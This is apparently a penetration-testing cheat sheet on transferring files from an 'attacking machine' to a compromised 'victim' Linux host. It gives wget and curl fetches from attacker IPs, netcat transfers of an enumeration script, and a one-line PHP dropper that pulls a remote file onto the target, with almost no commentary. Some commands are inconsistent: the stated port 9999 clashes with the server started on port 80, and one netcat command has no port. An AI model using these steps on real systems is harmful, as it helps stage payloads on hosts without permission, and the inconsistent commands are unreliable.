Transfer Files

Table of Contents

• Transfer Files on Linux
  • Set Up a Simple Python Webserver
  • Wget
  • Curl
  • Netcat
  • With php

Transfer Files on Linux

Set Up a Simple Python Webserver

For the examples using curl and wget we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

python3 -m http.server 80

Wget

You can download files using wget like this:

wget 192.168.1.102:9999/file.txt

Curl

curl -O http://192.168.0.101/file.txt

Netcat

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc 192.168.1.102 4444 > file

You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:

nc -lvp 3333 > enum.sh

And on the attacking machine we send the file like this:

nc 192.168.1.103 < enum.sh

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 > file.sh

With php

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php